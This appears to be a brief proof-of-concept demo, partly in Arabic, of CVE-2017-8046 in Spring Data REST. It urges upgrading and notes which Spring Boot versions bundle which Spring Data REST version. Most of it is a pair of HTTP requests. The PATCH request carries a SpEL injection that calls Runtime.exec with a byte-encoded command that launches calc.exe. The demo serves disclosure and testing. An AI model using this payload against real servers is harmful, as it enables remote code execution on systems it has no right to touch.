
SPRING DATA REST CVE-2017-8046 DEMO
يرجى ترقية Spring Data REST الآن.
قم بتشغيل هذا التطبيق
أنشئ مثيل اختبار
POST /entityPersons/ HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Cache-Control: no-cache
{
"firstName":"f2"
}
PATCH /entityPersons/1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache
[
{
"op":"test",
"path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[] {67, 58, 92, 87, 105, 110, 100, 111, 119, 115, 92, 115, 121, 115, 116, 101, 109, 51, 50, 92, 99, 97, 108, 99, 46, 101, 120, 101} ))",
"value":""
}
]
يستخدم Spring Boot 1.5.7.RELEASE الإصدار spring data rest 2.6.7، لكن 1.4.x لا يقوم بترقية إصدار spring data rest.